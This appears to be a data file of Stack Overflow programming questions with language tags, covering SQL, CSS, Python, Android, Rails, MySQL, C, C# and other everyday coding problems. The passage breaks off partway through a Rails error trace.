how to create trigger in sql that joins 2 tables  i need to create a trigger in sql that checks if the user has answered on question that related to a specific app is actually registered to that app.    the tables that i am using are:    1) <strong>tblansweredon</strong> which contains the following columns:<br> email (key)  appname(key)  questionno(key)  answer  answerdate    2)<strong>tblregisteredto</strong> which contains the following columns:<br> email(key)  appname(key)  registrationdate  nickname    this is the code that i tried  but it not allows me to insert any user no matter if he is trying to answer on a question that related to an app he is registered to or not.   <pre><code>create trigger ifexiststrigger on [dbo].[tblansweredon] after insert as declare @email nvarchar  @appname nvarchar  select @email = inserted.email   @appname = inserted.appname from inserted  if not exists (select email  appname                from [dbo].[tblregisteredto]                 where email = @email                and appname = @appname) rollback; </code></pre>,sql
make iso file to install w7 and our software being the windows just background  i m a programmer for indra and i need to make an iso image to install a software we have made here along with the windows 7 using the windows installation data (the folders  files and so on) and our .wim files generated here for our software. in the end what we would like to achieve would be every time the customer runs the computer our software appears in the screen but it is running in windows  but you don t see the os  it s in the background. right now i have accomplished to make the image and install but i just get the windows 7 installed  i can t see my software or find it  do you have any tips about what i should do to make this works  could you help me out     looking forward for your answer.    thank you very much  juan.,.net
how do i create a method for deep cloning a usercontrol  i would like to create a deep clone of a usercontrol in my program. how do this. thanks,c#
"best way to center div with image on right   i want the price and currency to be centered   what is the best way to do it        <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.currency {
   background: url(../css/images/currency.png);
   background-size: 30px;
   background-repeat: no-repeat;
   background-position-x: center;
   background-position-y: center;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= price1  class= pricebox &gt;
   &lt;div class= titleabo &gt;&lt;strong&gt;3&lt;/strong&gt;jours&lt;/div&gt;
   &lt;div class= price &gt;
     &lt;div class= howmuch &gt;300&lt;div class= currency &gt;&lt;/div&gt;&lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
to isolate commands and values read in a single line  i created a list in python:   <pre><code>a=[1 2 3 4 5] </code></pre>   i ask the user to input a command from in a single line. e.g. <strong>append 6</strong>    is there a way other than separating the function  append  and the value  6  to carry this out,python
grabbing data from websites  i am just wondering how you would go about grabbing articles from bbc and automatically updating this information in an ios app. so basically what i want to do is add new articles to my application automatically whenever bbc release them. is this possible,ios
how to set global and session mode in my.cnf  <a href= https://stackoverflow.com/questions/23921117/disable-only-full-group-by >following this thread</a>  i have to set global and session as followings when i restart mysql   how can i set this in my.cnf    <pre><code>mysql&gt; set global sql_mode= strict_trans_tables no_zero_in_date no_zero_date error_for_division_by_zero no_auto_create_user no_engine_substitution ; mysql&gt; set session sql_mode= strict_trans_tables no_zero_in_date no_zero_date error_for_division_by_zero no_auto_create_user no_engine_substitution ; mysql&gt; exit; </code></pre>,mysql
cannot create cllocation object  i am trying to create cllocation object by using both init methods but its not creating and giving the error. below is the lines of code:    cllocationcoordinate2d loccor = userloc.coordinate;    cllocation *locloc = [[cllocation alloc] initwithlatitude:userloc.coordinate.latitude longitude:userloc.coordinate.longitude;    below is the error i am getting     _objc_class_$_cllocation   referenced from:   <pre><code>  objc-class-ref-to-cllocation in mymap.o </code></pre>   ld: symbol(s) not found    collect2: ld returned 1 exit status    please help  i don t know why its coming. i am using xcode version 3.2.4. is it something to do with the version     thanks in advance.,iphone
tracking user activity  i am trying to write mvc to log/track any user activity.  also i have psql db for project and separate mongodb for tracking.    is there any embedded functions in ror to log all crud actions       thank you for your help.,ruby-on-rails
invalid use of group by while showing username with heighest salary in group  i use <strong><code>mysql</code></strong>    i wanted to show some records like total salary per designation   avg salary etc. all are working except : i want to show person name with heighest salary in group. when i use the query as below   i give error : <code>invalid use of group function</code> . i ran it many times using different tweaks   ordering of query   still giving error. what may be the issue here     <pre><code>select designation   sum(salary) as salary_as_per_designation           count(*) as num_employees           avg(salary) as avg_salary            min(salary) as min_salary_of_emp_per_designation           max(salary) as max_salary_of_emp_per_designation            (select name from articles where salary = max(salary) group by designation limit  1) as emp_name_min_sal  from articles group by designation; </code></pre>   the weired thing is when i use on 2nd last line above like <code>.... where salary = 10000...</code>  100 as some random value query works but gives wrong result   i mean wrong name for the user with heighest salary in group.    my table structure is as follows :    <pre><code>create table if not exists `articles` ( `id` int(12) not null    `name` varchar(256) not null    `salary` double not null    `designation` enum( tech_support   developer   tester   designer ) not null ) engine=innodb  default charset=latin1 auto_increment=9 ; </code></pre>   thanks.,mysql
why are values not available in configuration phase   i was creating an application and needed to create a constant string. it was then that i realized that values and constant serve the common purpose. i do know about the fact that constants are available during configuration phase.    but i wonder what stops values from doing the same  when they do not have dependencies too. is there any other logic that differs among the both.    since  angular has kept both of them for so long  i think there must be any other reason. someone following angular from long time might help us understand the exact difference,angularjs
showing google maps on a dialog  i have an activity that extends mapactivity. i want to show map inside a dialog in this activity. i.e when i click a button it will show a dialog with a mapview  but this crashes because it is howing this exception   <pre><code>caused by: java.lang.illegalargumentexception: mapviews can only be created inside instances of mapactivity. </code></pre>   please help me.,android
what s the difference between using object  collection and locals in partial  i have trouble to understand the difference between    <pre><code>&lt;%= render :partial =&gt;  book   :object =&gt; @book %&gt; </code></pre>   and   <pre><code>&lt;%= render :partial =&gt;  book   :collection =&gt; @books %&gt; </code></pre>   and   <pre><code>&lt;%= render :partial =&gt;  book   :locals =&gt; { :book =&gt; @book } %&gt; </code></pre>   can someone explain it to me,ruby-on-rails
using left join and like mysql  i have a problem in mysql query. this is how my tables looks like:   <pre><code>mysql&gt; select username  specialty from users; +----------+------------------+ | username | specialty        | +----------+------------------+ | jinkx    | php  html  mysql | | test1    | html             | +----------+------------------+   mysql&gt; select name  tags from tasks; +----------------+------+ | name           | tags | +----------------+------+ | fix front page | html | +----------------+------+ </code></pre>   and when i try to do the following query  it works only if the specialty equals exactly the tags. but i want it to work on both   <pre><code>mysql&gt; select tasks.name from users left join tasks on tasks.tags like users.specialty where users.username =  test1 ; +----------------+ | name           | +----------------+ | fix front page | +----------------+  mysql&gt; select tasks.name from users left join tasks on tasks.tags like users.specialty where users.username =  jinkx ; +------+ | name | +------+ | null | +------+ </code></pre>,mysql
mysql inner join query - how do i combine these 2 queries   this is my current query:   <pre><code>select distinct t.* from filter as f inner join filter_thread as ft  on ft.filter_id = f.filter_id inner join thread as t  on ft.thread_id = t.thread_id where f.tag like  %test%  order by t.replystamp desc </code></pre>   it returns a bunch of data including a  owner_id  column.    the  user_table  contains a matching id  labeled   id     i previously used this query to get the data:    <pre><code>select username from users where id= $user_id   </code></pre>   i need these to occur in the same query! but adding an additional inner join is not working.,mysql
how to create an object with optional functions   i m writing a custom js+css library to be able to write something like this:   <pre><code>var myobj = mylibrary(  .my-div  ); console.log( myobj ); //html nodelist myobj.somefunction(); //perform some action with the node </code></pre>   is this possible to make     things i tried:   <pre><code>var mylibrary = function( el ){   return document.queryselectorall( el ); } var myobj = mylibrary(  .my-div  ); console.log( myobj ); //html nodelist  ok! myobj.somefunction(); //undefined  nope :( </code></pre>,javascript
error installing rmagick: error: failed to build gem native extension  i am trying to run one project on my local machine. i installed ruby and rails on my mac os system. it is working properly. i can create a new project and can run it properly without any error  but when i try to run the existing project it says that we have to <code>bundle install</code>. when i run that command i get the following error:   <pre><code> an error occurred while installing rmagick (2.13.2)  and bundler cannot continue. make sure that `gem install rmagick -v  2.13.2 ` succeeds before bundling.  </code></pre>   when i run <code>gem install rmagick -v  2.13.2 </code> it gives me the following error:   <pre><code>error:  error installing rmagick: error: failed to build gem native extension.  /usr/local/rvm/rubies/ruby-1.9.3-p392/bin/ruby extconf.rb checking for ruby version &gt;= 1.8.5... yes checking for gcc-4.2... yes checking for magick-config... no can t install rmagick 2.13.2. can t find magick-config in /usr/local/rvm/gems/ruby-1.9.3-p392/bin:/usr/local/rvm/gems/ruby-1.9.3-p392@global/bin:/usr/local/rvm/rubies/ruby-1.9.3-p392/bin:/usr/local/rvm/gems/ruby-1.9.3-p392/bin:/usr/local/rvm/gems/ruby-1.9.3-p392@global/bin:/usr/local/rvm/rubies/ruby-1.9.3-p392/bin:/usr/local/rvm/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/sm/bin:/opt/sm/pkg/active/bin:/opt/sm/pkg/active/sbin  *** extconf.rb failed *** could not create makefile due to some reason  probably lack of necessary libraries and/or headers.  check the mkmf.log file for more details.  you may need configuration options.  provided configuration options:   --with-opt-dir   --without-opt-dir   --with-opt-include   --without-opt-include=${opt-dir}/include   --with-opt-lib   --without-opt-lib=${opt-dir}/lib   --with-make-prog   --without-make-prog   --srcdir=.   --curdir   --ruby=/usr/local/rvm/rubies/ruby-1.9.3-p392/bin/ruby   gem files will remain installed in /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rmagick-2.13.2 for inspection. results logged to /usr/local/rvm/gems/ruby-1.9.3-p392/gems/rmagick-2.13.2/ext/rmagick/gem_make.out </code></pre>   i have searched and did not find an answer anywhere.,ruby-on-rails
jquery: how to toggle the select attribute in a select list s options on the click of a radio button without duplicating the select list   i have a question about select lists and the selected attribute. i ve done some research and haven t found a solution that works yet  so i ask you folks for your input and thank you in advance.    here s what s going on. when i click on one of two radio buttons  i would like that selection to allow me to change the position of the  selected  attribute in the option tags. i need it to go from:    <pre><code>&lt;option value= _blank &gt;blank&lt;/option&gt;  </code></pre>   and then change to this after the radio button for external is selected.   <pre><code>&lt;option value= _self  selected&gt;self&lt;/option&gt;  </code></pre>   hopefully that makes sense  here s what it looks like.     html: (note that there s other stuff going on that tells it to toggle  which i use to select the target link source data-target when it s checked)   <pre><code>&lt;div class= form-group &gt;    &lt;label for= link_source  class= generic-form__label &gt;link source&lt;/label&gt;    &lt;label class= radio &gt;&lt;input type= radio  name= link_source  value= internal  data-target= internal  checked&gt; internal&lt;/label&gt;    &lt;label class= radio &gt;&lt;input type= radio  name= link_source  value= external  data-target= external &gt; external&lt;/label&gt; &lt;/div&gt;  &lt;div class= group &gt;   &lt;label for= link-target  class= label &gt;link target&lt;/label&gt;   &lt;select name= link_target  id= link-target  class= input &gt;     &lt;option value= _blank &gt;blank&lt;/option&gt;     &lt;option value= _parent &gt;parent&lt;/option&gt;     &lt;option value= _self &gt;self&lt;/option&gt;     &lt;option value= _top &gt;top&lt;/option&gt;    &lt;/select&gt; &lt;/div&gt; </code></pre>   jquery:  basically i ve tried this  and it works on the page load  but when i try to toggle back and forth between internal and external  it doesn t switch  it stays on external and selects blank. there are other things going on like setting that variable target  which works. it logs the correct target id.   <pre><code>if (target ===  external ) {     $( select option[value= _blank ] ).attr( selected    selected );      console.log( it found   + target)      if (target !==  interal ) {         $( select option[value= _blank ] ).removeattr( selected    selected );      }   }   else if (target ===  internal ){     $( select option[value= _self ] ).attr( selected    selected );     if (target !==  external ) {         $( select option[value= _blank ] ).removeattr( selected    selected );      }     console.log( it found   + target)   } </code></pre>   <strong>edited for clarity</strong>,jquery
accessing android native gallery via an intent  how can i get a user to select from the native gallery in android  rather than other gallery-like applications such as astro file manager     the following code gives a list of activities that can select an image:   <pre><code>intent intent = new intent(); intent.settype( image/* ); intent.setaction(intent.action_get_content); list&lt;resolveinfo&gt; infos = activity.getpackagemanager().queryintentactivities(intent  0); </code></pre>   if i then do something like this:   <pre><code>activity.startactivityforresult(intent.createchooser(intent   select picture )  request_choose_image); </code></pre>   then if the user has more than one application that can act like a gallery (such as astro file manager)  s/he is prompted to select one of them  with no  set as default  option.    i don t want the user to be prompted to choose between them each time  so i d like to just use the native gallery.    the hacky code sample below uses a whitelist to test for known native gallery names:   <pre><code>    for (resolveinfo info : infos) {         if (    0==info.activityinfo.name.compareto( com.cooliris.media.gallery )             ||  0==info.activityinfo.name.compareto( com.htc.album.collectionsactivity )         ) {             // found the native gallery             dosomethingwithnativegallery();         }     } </code></pre>   feels kinda dirty. is there a better way  i suspect i m missing something in my intent.,android
special character to have integer seen as a title/word  rather than an integer   i am trying to use an integer as a feild for a table in one of my alloc inits but it give me an error (invalid suffix on floating constant). is there a special character i put in front of the number so that it is seen as more of a  title  for the feild     ex:    <pre><code>preshapes *1234b = [[preshapes alloc] init]; 1234b.prename = @ 1234b ; </code></pre>   ....error says  invalid suffix  b.preshape  on floating constant...but really i just want 1234b to be the title of a feild in a table.        i must be researching this with incorrect terminology becuase it shouldn t be this difficult to find.. thank you!,objective-c
matching words in java  so i want to make a word matching game like crosswords  match the word and other puzzle game in my java netbeans. i have had trouble making my int = the words i store in my array.   <pre><code>string word; int numword=0;     // words that will be stores in my arry     string [] mynames = { pie   soccer   chelsea   gaming   steam };     // user inputs the number     numword = new scanner(system.in).nextint();     // print the word for testing purposes     system.out.println(mynames[numword]);     // type the word      word = new scanner(system.in).nextline();     // check if the word is right     if (word.equals(n)){         system.out.println( you got it );      }else{         system.out.println( you got it wrong );     } </code></pre>,java
what is the difference between instancesrespondtoselector and respondstoselector in objective-c   the only difference i observed on my own is that <code>respondstoselector</code> s receiver can either be a class or an instance  while <code>instancesrespondtoselector</code> can only have a class receiver. what else makes them different  though  are there any performance issues with one or the other,objective-c
c programming: why are my decimals not displaying & how do i define black spaces  i m learning basic c for an introductory programming class that i m taking and i have two questions related to the code below.    first: in the <code>//calculations</code> section  i want my values called <code>cryr1</code>  <code>cryr2</code>  <code>cryr3</code>  and <code>avgcr</code>  to display the results out to 2 decimal places. i m only getting whole numbers with 2 decimals places. question: is there something wrong in how i wrote my calculations     second: in the section where i have all my <code>printf</code> statements  i have a lot of empty white spaces to support the spacing in the table that i want to render. however  if the inputs to this output vary in numerical length  the columns don t render properly. question: is there some code or syntax that i should use that calculates or determines the number spaces that each value in the table show appear    <pre><code>// global variable declarations file *reportfile;                // report file (for output)  file *inputfile;                 // disk file (for input)     char company[31];                // company name              int assetsyr1;                   // assets year 1             int assetsyr2;                   // assets year 2 int assetsyr3;                   // assets year 3 int liabilitiesyr1;              // liabilties year 1 int liabilitiesyr2;              // liabilties year 2 int liabilitiesyr3;              // liabilities year 3 float cryr1;                     // current ratio yr1 float cryr2;                     // current ratio yr2 float cryr3;                     // current ratio yr3 float avgassets;                 // average assets float avgliabilities;            // average liabilities float avgcr;                     // average current ratio   //calculations cryr1 = (assetsyr1/liabilitiesyr1); cryr2 = (assetsyr2/liabilitiesyr2); cryr3 = (assetsyr3/liabilitiesyr3); avgassets = (assetsyr1 + assetsyr2 + assetsyr3)/3; avgliabilities = (liabilitiesyr1 + liabilitiesyr2 + liabilitiesyr3)/3; avgcr = (cryr1 + cryr2 + cryr3)/3;   printf( %s\current ratio report\n\n   company); printf(                 current           current          current\n ); printf( year            assets            liabilities      ratio\n ); printf( ----------------------------------------------------------\n ); printf( 2010              %d             %d             %1.2f\n   assetsyr1  liabilitiesyr1  cryr1); printf( 2011              %d              %d             %1.2f\n   assetsyr2  liabilitiesyr2  cryr2); printf( 2012              %d             %d             %1.2f\n   assetsyr3  liabilitiesyr3  cryr3); printf( ----------------------------------------------------------\n ); printf( average           %1.0f             %1.0f             %1.2f\n\n   avgassets  avgliabilities  avgcr); </code></pre>   the image is supposed to render like this    <a href= https://i.stack.imgur.com/zhzor.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zhzor.png  alt= expected output ></a>    any help you can offer is much appreciated. thank you  david    i ve placed the source code and input file <a href= https://drive.google.com/drive/folders/0b9zdjq7m_lvwewxkefeyuhpiaee usp=sharing  rel= nofollow noreferrer >here</a>,c
keep values from sql  in  operator  how to modify query   <pre><code>select field1  field2 from table1 where field1 in ( value1    value2    value3 ); </code></pre>   to get <code>null</code> as <strong>field2</strong>  if  <em> value2 </em> not found     <strong>table1:</strong>   <pre><code>field1 | field2 -------+-------- value1 | result1 value3 | result3 value4 | result4 </code></pre>   <strong>current output:</strong>   <pre><code>field1 | field2 -------+-------- value1 | result1 value3 | result3 </code></pre>   <strong>expected output:</strong>   <pre><code>field1 | field2 -------+------- value1 | result1 value2 | null value3 | result3 </code></pre>,sql
speechtotext on shake of phone not working properly  in my application i want to use texttospeech when users shakes the phone. i have handled shaking of phone successfully using-    <a href= https://stackoverflow.com/questions/2317428/android-i-want-to-shake-it >android: i want to shake it</a>    but problem came when i intigrated texttospeech with this code.     tried this- <a href= http://developer.android.com/resources/samples/apidemos/src/com/example/android/apis/app/texttospeechactivity.html  rel= nofollow noreferrer >http://developer.android.com/resources/samples/apidemos/src/com/example/android/apis/app/texttospeechactivity.html</a>    it gave me no error but can t hear speech when tried in real device.    also tried using this code:    <a href= http://www.javacodegeeks.com/2010/09/android-text-to-speech-application.html  rel= nofollow noreferrer >http://www.javacodegeeks.com/2010/09/android-text-to-speech-application.html</a>    but it gives me force close in real device so i can t get idea about error. i can t test shaking on immulator so can t find out even there.    any help is appriciated.    thanks.,android
asking for user input  and then ignoring it  i want to ask the user for input  and then just ignore than input. i don t care what the user puts  i just care that the user types something in (actually i don t really care if they do that  but i want to make them <em>think</em> that they have to type something in).    i get that i can do something like this:   <pre><code>std::cout &lt;&lt;  type something:  ; {    int i;    std::cin &gt;&gt; i; } std::cout &lt;&lt;  you typed something. ; </code></pre>   but i was wondering if there was some easy  <em>clean</em> one-line alternative.,c++
how to get the minimum mysql row size  i am designing a table in mysql (innodb) and want to make sure that it takes the absolute minimum space on disk. my question is: does row storage size depend on the order of columns in a table     for example  here is column order 1:   <pre><code>    bigint (8 bytes)     tinyint (1 byte)     int (4 bytes)     int (4 bytes)     tinyint (1 byte) </code></pre>   is the disk space taken by this table row any different than the one in this case (order 2):   <pre><code>    bigint (8 bytes)     tinyint (1 byte)     tinyint (1 byte)     int (4 bytes)     int (4 bytes) </code></pre>   or perhaps this (order 3):   <pre><code>    bigint (8 bytes)     int (4 bytes)     int (4 bytes)     tinyint (1 byte)     tinyint (1 byte) </code></pre>   i recall working in an environment a long time ago where order mattered (it was important to not have fields be positioned across 4-byte boundaries). does it make a difference in mysql 5.x     thanks in advance.,mysql
develop a native ebook application for iphone and ipad  i want to create an ebook for iphone and ipad. since ibooks author only allows to create ebooks for ipad i need to develop the application using native code. can i get guidelines   sample projects regarding this  (especially generate flip through pages effect),ios
create link from get parameter  im trying to create some links depending on the get parametre currently set.    my url looks like this:   <pre><code>http://mysite.com/index.php bar=test&amp;page=page </code></pre>   in my code i do the following:   <pre><code>$bar = $_request[ bar ]; &lt;a href= index.php bar=&lt; php echo $bar &gt;&amp;page=anotherpage  </code></pre>   but every time i click the link  it adds the whole string to the url again.    like first click would give me this url:   <pre><code>http://mysite.com/index.php bar=test&amp;page=anotherpagepage=anotherpage </code></pre>   and next click creates:   <pre><code>http://mysite.com/index.php bar=test&amp;page=anotherpagepage=anotherpagepage=anotherpage </code></pre>   and so on.    is there any way to only get the request once so that the url always looks like this:   <pre><code>http://mysite.com/index.php bar=test&amp;page=anotherpage </code></pre>   no matter how many times i click the link     thanks a lot!,php
how to instantiate popupwindow   i m looking at <a href= http://developer.android.com/reference/android/widget/popupwindow.html  rel= nofollow >apis</a> and have absolutely no idea how to create and show the <code>popupwindow</code>. why are the apis are written in such a way that people need to search for other resources in order to understand how to use a particular thing      well  anyway  can you please describe how can i create and show <code>popupwindow</code>  thanks a lot.,android
is it possible to generate a box-shadow that follows the shape of a clip-path polygon   let s say i have this clip path (a triangle generated <a href= http://bennettfeely.com/clippy/  rel= noreferrer >here</a>)   <pre><code>-webkit-clip-path: polygon(50% 0%  0% 100%  100% 100%); clip-path: polygon(50% 0%  0% 100%  100% 100%); </code></pre>   is it possible to create a box-shadow from this clip path  something like this:   <pre><code>box-shadow: 20px 25px 50px -25px #000; </code></pre>,css
insert same row multiple times within sql table based on unique value in field 1  i currently have a table where column 1 is a unique identifier for the remaining columns and i need to insert a new value into the table for each unique identifier. the example is as follows:   <pre>column 1   column 2   column 3  10         address    true  10         city       false 10         state      true 20         address    true 20         city       true 20         state      true</pre>   i need to insert a new row based upon each unique identifier in column 1  like so:   <pre>column 1   column 2   column 3 10         address    true 10         city       false 10         state      true *10         new        new* 20         address    true 20         city       true 20         state      true *20         new        new*</pre>   for some reason  the sql script for the quick lookup and insert is just escaping me on a monday morning. any help would be appreciated.    thanks!,sql
what is different in enumarating nsdictionary directly in compare to enumerating its allvalues   i am trying to understand/learn objective-c. i am lost what is the difference between enumerating    <pre><code>for (typeofvaluesindictionary *item in dictionary) {} </code></pre>   and enumerating   <pre><code>for (typeofvaluesindictionary *item in [dictionary allvalues]) {} </code></pre>        the former tends to return less values from the dictionary than the latter but i failed to find/understand why  documentation nor web search gave me the necessary insight/answer.,objective-c
push property value to object  store and accumulate  then randomly select 2  ok  can t get this. i m trying to push an object property key:value  to an empty object  store it in a variable  then next call retrieve that updated object  and add a new key:value pair to it  then finally grab 2 different random values from the created object. here s what i ve tried:   <pre><code>var obj {}; var storedobject; var randomresponse1 = pickrand1(obj); var randomresponse2 = pickrand1(obj);    //first visit to server if (event.reply ==  true ) {     obj.1 =  one ;     obj = storedobject;  }   //second visit to server  if (event.reply ==  true ) {     obj.2 =  two ;     obj = storedobject;   }    //third visit to server  if (event.reply ==  true ) {     obj.3 =  three ;     obj = storedobject;   }    //fourth visit to server  if (event.reply ==  true ) {     obj.4 =  four ;     obj = storedobject;   }    //final visit to server  if (event.reply ==  true ) {     alert(randomresponse1); //it only seems to grab last value     alert(randomresponse2); //also  does this have a chance of                                      //being the same random result    }     function pickrand1(obj) {     var result;     var count = 0;       for (var prop in obj)       if (math.random() &lt; 1/++count)          result = obj[prop];     return result;   } </code></pre>,javascript
the output of the following program is 1 3 3 can someone explain it how   the output of the following program is 1 3 3 can someone explain it how  will it consider 10.25 as a object to the method argument    <pre><code>public class test {   void methodoftest(int i) {     system.out.println(1);   }    void methodoftest(integer i) {     system.out.println(2);   }    void methodoftest(object o) {     system.out.println(3);   }    public static void main(string[] args) {     test t = new test();      t.methodoftest(10);      t.methodoftest(10.25);      t.methodoftest(new double( 25.25 ));   } } </code></pre>,java
how to make data member accessible to class and subclass only <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/5300163/why-is-there-no-sub-class-visibility-modifier-in-java >why is there no sub-class visibility modifier in java </a>    </blockquote>     the access level table for java  shows 4 different options for controlling access to members of a class:   <pre><code>modifier    class  package subclass world public      y      y       y        y protected   y      y       y        n no modifier y      y       n        n private     y      n       n        n </code></pre>   there is no modifier  however  for  accessible to class and subclass only . that is:   <pre><code>modifier    class  package subclass world c++prot     y      n       y        n </code></pre>   is it possible at all to define such access level in java     if so  how     if this isn t possible  this must be due to a well thought design principle. if so  what is that principle. in other words  why having such access level in java isn t a good idea,java
simple string question - the single quotation marks and double quotation marks inside the string just make the string into several parts  i need to use a long string for testing regular expression. however  the test string is always altered by the inside quotation marks  which leads to the whole string seperetaed into several parts and some of them are not included into the string  and thus error occurred.   <pre><code>    str1=r row id= 7  posttypeid= 2  parentid= 4  \n          creationdate= 2008-07-31t22:17:57.883 \n          score= 49  viewcount= 0  body= &lt;p&gt;an explicit cast to double i    </code></pre>   would you pleae tell me how to tackle this  thanks a lot.,python
string.replace in a while loop never stops  i have a list of symbols that i want to replace by spaces in a string. here is my code:   <pre><code>useless = [ .         !         :    (    )         [    ] ] message =  whatever. you;  want:)   for sign in useless:     while message.find(sign):         message.replace(sign     ) </code></pre>   this results in an infinite loop that never stops. it s probably something easy but i m on it for quite a long time now.. any help would be great  thank you.,python
how do tags inherit from each other   i have the following definition for p:   <pre><code>.contact p {     margin: 5px 0 0 10px;     font-size:0.875em;     color: gray;   } </code></pre>   i would like the email link below to inherit everything from p as well:   <pre><code>.contact a:link {     text-decoration: none; } </code></pre>   how do i do this,css
find nearest airport using ios  i am writing an app that needs to find the closest international airports using the ipads gps.  is there anyway of doing this easily,iphone
using jquery to do an image find and replace with a mouseenter on another <div>  basically  i have two images  each in a separate div.  when i do a mouseenter on the first image  i need the second image to change in the other div.     the image that changes comes after the image with the mouseenter in the code.  so far  i have   <pre><code>&lt;script&gt;  var read1 = $( img[src$= /reading1.png ] ); var read2 = $( img[src$= reading2.png ] );   $( #shelf-1 ).mouseenter(function() { $( #read ).find(read1).replacewith(read2) }); &lt;/script&gt; </code></pre>   i am very new to using jquery  so i feel lost. any help would be greatly appreciated.,jquery
how to move a button slowly from one location to another in java   i have two buttons and i want to set the 1 button where the 2 button was and vise versa. but i want it to slowly move from the first place to the other. anyone have an idea how to do it    <pre><code>int num_1_x= num_array[num1].getlocation().x; int num_2_x =num_array[num2].getlocation().x;  num_array[num1].setlocation(num_2_x  num_array[num1].getlocation().y);  num_array[num2].setlocation(num_1_x num_array[num2].getlocation().y); </code></pre>,java
arduino microcontrollers interfacing c#  i m working on project and i need to create a program that gets data from an arduino to determine the status all sensors values. i ve researched that the best way to send these data is to send them in one line through the serial port and then parse it in visual studio. the problem is i don t know how to parse the said data in order for them to show in different text boxes in the program. any help would be much appreciated...in one textbox am already showing the data but i want to show all sensors values in different textboxes.   <pre><code>namespace arduino_data {     public partial class form1 : form     {         private serialport myport;         private datetime datetime;         private string in_data;          public form1()         {             initializecomponent();         }       //   private void label3_click(object sender  eventargs e)       //  {        //  }          private void satrt_btn_click(object sender  eventargs e)         {             myport = new serialport();             myport.baudrate = 9600;             myport.portname = port_name_tb.text;             myport.parity = parity.none;             myport.databits = 8;             myport.stopbits = stopbits.one;             myport.datareceived += myport_datareceived;             try{                 myport.open();                 data_tb.text =   ;             }             catch (exception ex)             {                 messagebox.show(ex.message    error );             }         }          void myport_datareceived(object sender  serialdatareceivedeventargs e)         {             //throw new notimplementedexception();               in_data = myport.readline();             this.invoke(new eventhandler(displaydata_event));              }          private void displaydata_event(object sender  eventargs e)         {            // throw new notimplementedexception();             datetime = datetime.now;             string time = datetime.hour +  :  + datetime.minute +  :  + datetime.second;             data_tb.appendtext( time +  \t\t\t +in_data+ \n );             int data_value = convert.toint32(in_data);             pb_value.value = data_value;             pb_value.minimum = 0;             pb_value.maximum = 1023;              }          private void stop_btn_click(object sender  eventargs e)         {             try             {                 myport.close();              }             catch (exception ex2)             {                 messagebox.show(ex2.message   error );               }         }          private void save_btn_click(object sender  eventargs e)         {             try {              string pathfile = @ c:\users\irtaz\desktop\data ;             string filename =  arduino_data.txt ;             system.io.file.writealltext(pathfile + filename  data_tb.text);              messagebox.show( data has been saved to  + pathfile   save file );             }             catch(exception ex3)             {                 messagebox.show(ex3.message   error );              }         }     } } </code></pre>,c#
github api  fork a repo  i m trying to use the github api with python  but got stuck when wanting to fork a repo. my script so far is:   <pre><code>#!/usr/bin/python import json import getpass from restkit import resource  basicauth  request from socketpool import connectionpool  user= raw_input(  github user:  )  password=getpass.getpass() auth=basicauth(user  password)  authreqdata = {  scopes : [  public_repo  ]   note :  admin script  }  resource = resource( https://api.github.com/authorizations   filters=[auth]) response = resource.post(headers={  content-type :  application/json  }          payload=json.dumps(authreqdata)) token = json.loads(response.body_string())[ token ]  print token </code></pre>   i got the security token  but failed miserably trying to fork a repo.    could you help me with that     thanks in advance!,python
turn a gradient image to a footer  how do i turn a gradient image to a footer  i want to turn this upside down and make it into a bottom gradient <a href= http://lab.desilence.net/cinemascreen_test/gradient_red.png  rel= nofollow >http://lab.desilence.net/cinemascreen_test/gradient_red.png</a>. i downloaded the image as a png but it doesn t show up on the web page.   <pre><code>#footer{     z-index:1;     width:100%;     height:25px; /*  background-color:#fa1414;*/     float:left;     background-image:url( gradient_red.lnk );  } </code></pre>   instead of opening up the image like it does with other images on the site  opening the file in my text editor (eclipse for php) shows one line of squares and odd symbols and is listed as gradient_red.lnk instead of gradient_red.png. any ideas what s going wrong     cool  that s working. how do i shrink the image so it s small enough to be a footer,css
rails pdf prawn data generation from controller  i have a file named <code>report.pdf.prawn</code>     which is the view part of my pdf file where we can edit the contents of the pdf file like >>>   <pre><code>*pdf=prawn::document.new(:page_layout =&gt;:landscape :page_size =&gt;  a4 ) pdf.text hello  head=@headers headers=[  ] [  ] pdf.table headers  :width =&gt; 768  :size =&gt; 11  :border_style =&gt; :underline_header  :headers =&gt; [head.titleize]  :header_color =&gt;  b7e3fe   :padding=&gt;5*  &lt;&lt;&lt; etc ect... </code></pre>   the above just prints like   <pre> hello header1header2header3 </pre>   i have two values from my controller <code>&gt;&gt;&gt;  def report &lt;&lt;&lt;</code> as    <code>@header</code> and <code>@data</code>   <ul> <li><code>@header</code> gives values like <code>header1header2header3</code></li> <li><code>@data</code> gives values like <code>data11data12data13data21data22data23</code></li> </ul>   how do i print the values like the format given below on all pdf pages being generated    <pre> header1     header2    header3  data11      data12     data13  data21      data22     data23  data31      data32     data33  data41      data42     data33 </pre>,ruby-on-rails
how could i restore rails core libraries to original status  currently  i ve been playing about the core libraries like activesupport  activemodel by <code>gem open activesupport  ...</code>    however  it seems i modified some code mistakenly and not knowing where did i changed. how could i recover it to original status.    there is no git control under those folders <code>/users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/railties-4.1.6/lib/rails/railtie</code>  so i couldn t use <code>gco ./</code> to discard changes.    any good alternative to fix it  thanks   <h1>exception message after modifications</h1>  <pre><code>/users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/railties-4.1.6/lib/rails/railtie/configuration.rb:95:in `method_missing : undefined method `active_record  for #&lt;rails::application::configuration:0x007fe8c4064e60&gt; (nomethoderror)     from /private/tmp/yourappname/config/environments/development.rb:23:in `block in &lt;top (required)&gt;      from /users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/railties-4.1.6/lib/rails/railtie.rb:210:in `instance_eval      from /users/new_bike/.rbenv/versions/2.2.2/lib/ruby/gems/2.2.0/gems/railties-4.1.6/lib/rails/railtie.rb:210:in `configure      from /private/tmp/yourappname/config/environments/development.rb:1:in `&lt;top (required)&gt;      from 